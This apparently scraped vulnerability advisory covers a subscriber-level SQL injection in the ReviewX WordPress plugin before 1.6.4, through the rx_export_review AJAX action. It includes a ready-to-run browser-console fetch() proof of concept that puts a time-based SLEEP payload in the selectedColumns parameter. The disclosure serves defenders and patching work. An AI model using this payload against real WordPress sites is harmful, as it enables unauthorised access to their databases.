Lucene search

K
wpexploitWpvulndbWPEX-ID:BB5CC190-6291-4AF3-978B-0ADE2EA68D77
HistoryFeb 23, 2023 - 12:00 a.m.

ReviewX < 1.6.4 - Subscriber+ SQLi

2023-02-2300:00:00
wpvulndb
208
reviewx plugin
sql injection
admin-ajax.php
web browser
developer console
subscriber user

EPSS

0.001

Percentile

33.0%

The plugin does not properly sanitise and escape the filterValue and selectedColumns parameters before using them in SQL statements via the rx_export_review AJAX action available to any authenticated users, leading to a SQL injection exploitable by users with a role as low as subscriber

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=rx_export_review&filterValue[6]=&filterValue[7]=id&selectedColumns[]=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

EPSS

0.001

Percentile

33.0%

Related for WPEX-ID:BB5CC190-6291-4AF3-978B-0ADE2EA68D77